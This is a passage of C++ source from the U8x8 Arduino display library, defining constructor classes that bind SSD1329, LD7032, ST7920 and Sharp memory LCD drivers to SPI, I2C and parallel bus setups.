u8x8_d_ssd1329_96x96_noname, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1329_96X96_NONAME_6800 : public U8X8 {\n  public: U8X8_SSD1329_96X96_NONAME_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1329_96x96_noname, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1329_96X96_NONAME_8080 : public U8X8 {\n  public: U8X8_SSD1329_96X96_NONAME_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1329_96x96_noname, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_LD7032_60X32_4W_SW_SPI : public U8X8 {\n  public: U8X8_LD7032_60X32_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_LD7032_60X32_4W_HW_SPI : public U8X8 {\n  public: U8X8_LD7032_60X32_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_LD7032_60X32_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_LD7032_60X32_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_LD7032_60X32_ALT_4W_SW_SPI : public U8X8 {\n  public: U8X8_LD7032_60X32_ALT_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32_alt, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_LD7032_60X32_ALT_4W_HW_SPI : public U8X8 {\n  public: U8X8_LD7032_60X32_ALT_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32_alt, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_LD7032_60X32_ALT_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_LD7032_60X32_ALT_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32_alt, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_LD7032_60X32_SW_I2C : public U8X8 {\n  public: U8X8_LD7032_60X32_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32, u8x8_cad_ld7032_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_LD7032_60X32_HW_I2C : public U8X8 {\n  public: U8X8_LD7032_60X32_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32, u8x8_cad_ld7032_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_LD7032_60X32_2ND_HW_I2C : public U8X8 {\n  public: U8X8_LD7032_60X32_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32, u8x8_cad_ld7032_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_LD7032_60X32_ALT_SW_I2C : public U8X8 {\n  public: U8X8_LD7032_60X32_ALT_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32_alt, u8x8_cad_ld7032_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_LD7032_60X32_ALT_HW_I2C : public U8X8 {\n  public: U8X8_LD7032_60X32_ALT_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32_alt, u8x8_cad_ld7032_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_LD7032_60X32_ALT_2ND_HW_I2C : public U8X8 {\n  public: U8X8_LD7032_60X32_ALT_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ld7032_60x32_alt, u8x8_cad_ld7032_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_LD7032_128X36_4W_SW_SPI : public U8X8 {\n  public: U8X8_LD7032_128X36_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ld7032_128x36, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_LD7032_128X36_4W_HW_SPI : public U8X8 {\n  public: U8X8_LD7032_128X36_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ld7032_128x36, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_LD7032_128X36_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_LD7032_128X36_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ld7032_128x36, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_LD7032_128X36_SW_I2C : public U8X8 {\n  public: U8X8_LD7032_128X36_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ld7032_128x36, u8x8_cad_ld7032_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_LD7032_128X36_HW_I2C : public U8X8 {\n  public: U8X8_LD7032_128X36_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ld7032_128x36, u8x8_cad_ld7032_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_LD7032_128X36_2ND_HW_I2C : public U8X8 {\n  public: U8X8_LD7032_128X36_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ld7032_128x36, u8x8_cad_ld7032_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST7920_256X32_8080 : public U8X8 {\n  public: U8X8_ST7920_256X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_256x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7920_256X32_6800 : public U8X8 {\n  public: U8X8_ST7920_256X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_256x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7920_256X32_SW_SPI : public U8X8 {\n  public: U8X8_ST7920_256X32_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_256x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7920_256X32_HW_SPI : public U8X8 {\n  public: U8X8_ST7920_256X32_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_256x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7920_256X32_2ND_HW_SPI : public U8X8 {\n  public: U8X8_ST7920_256X32_2ND_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_256x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7920_144X32_8080 : public U8X8 {\n  public: U8X8_ST7920_144X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_144x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7920_144X32_6800 : public U8X8 {\n  public: U8X8_ST7920_144X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_144x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7920_144X32_SW_SPI : public U8X8 {\n  public: U8X8_ST7920_144X32_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_144x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7920_144X32_HW_SPI : public U8X8 {\n  public: U8X8_ST7920_144X32_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_144x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7920_144X32_2ND_HW_SPI : public U8X8 {\n  public: U8X8_ST7920_144X32_2ND_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_144x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7920_160X32_8080 : public U8X8 {\n  public: U8X8_ST7920_160X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_160x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7920_160X32_6800 : public U8X8 {\n  public: U8X8_ST7920_160X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_160x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7920_160X32_SW_SPI : public U8X8 {\n  public: U8X8_ST7920_160X32_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_160x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7920_160X32_HW_SPI : public U8X8 {\n  public: U8X8_ST7920_160X32_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_160x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7920_160X32_2ND_HW_SPI : public U8X8 {\n  public: U8X8_ST7920_160X32_2ND_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_160x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7920_192X32_8080 : public U8X8 {\n  public: U8X8_ST7920_192X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_192x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7920_192X32_6800 : public U8X8 {\n  public: U8X8_ST7920_192X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_192x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7920_192X32_SW_SPI : public U8X8 {\n  public: U8X8_ST7920_192X32_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_192x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7920_192X32_HW_SPI : public U8X8 {\n  public: U8X8_ST7920_192X32_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_192x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7920_192X32_2ND_HW_SPI : public U8X8 {\n  public: U8X8_ST7920_192X32_2ND_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_192x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7920_128X64_8080 : public U8X8 {\n  public: U8X8_ST7920_128X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_128x64, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7920_128X64_6800 : public U8X8 {\n  public: U8X8_ST7920_128X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_128x64, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7920_128X64_SW_SPI : public U8X8 {\n  public: U8X8_ST7920_128X64_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_128x64, u8x8_cad_st7920_spi, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7920_128X64_HW_SPI : public U8X8 {\n  public: U8X8_ST7920_128X64_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_128x64, u8x8_cad_st7920_spi, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7920_128X64_2ND_HW_SPI : public U8X8 {\n  public: U8X8_ST7920_128X64_2ND_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7920_128x64, u8x8_cad_st7920_spi, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_LS013B7DH03_128X128_4W_SW_SPI : public U8X8 {\n  public: U8X8_LS013B7DH03_128X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ls013b7dh03_128x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_LS013B7DH03_128X128_4W_HW_SPI : public U8X8 {\n  public: U8X8_LS013B7DH03_128X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ls013b7dh03_128x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_LS013B7DH03_128X128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_LS013B7DH03_128X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ls013b7dh03_128x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_LS027B7DH01_400X240_4W_SW_SPI : public U8X8 {\n  public: U8X8_LS027B7DH01_400X240_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ls027b7dh01_400x240, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_LS027B7DH01_400X240_4W_HW_SPI : public U8X8 {\n  public: U8X8_LS027B7DH01_400X240_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ls027b7dh01_400x240, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_LS027B7DH01_400X240_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_LS027B7DH01_400X240_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ls027b7dh01_400x240, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_LS027B7DH01_M0_400X240_4W_SW_SPI : public U8X8 {\n  public: U8X8_LS027B7DH01_M0_400X240_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ls027b7dh01_m0_400x240, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_LS027B7DH01_M0_400X240_4W_HW_SPI : public U8X8 {\n  public: U8X8_LS027B7DH01_M0_400X240_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ls027b7dh01_m0_400x240, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_LS027B7DH01_M0_400X240_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_LS027B7DH01_M0_400X240_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ls027b7dh01_m0_400x240, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_LS013B7DH05_144X168_4W_SW_SPI : public U8X8 {\n  public: U8X8_LS013B7DH05_144X168_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ls013b7dh05_144x168, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_LS013B7DH05_144X168_4W_HW_SPI : public U8X8 {\n  public: U8X8_LS013B7DH05_144X168_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ls013b7dh05_144x168, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_LS013B7DH05_144X168_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_LS013B7DH05_144X168_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n  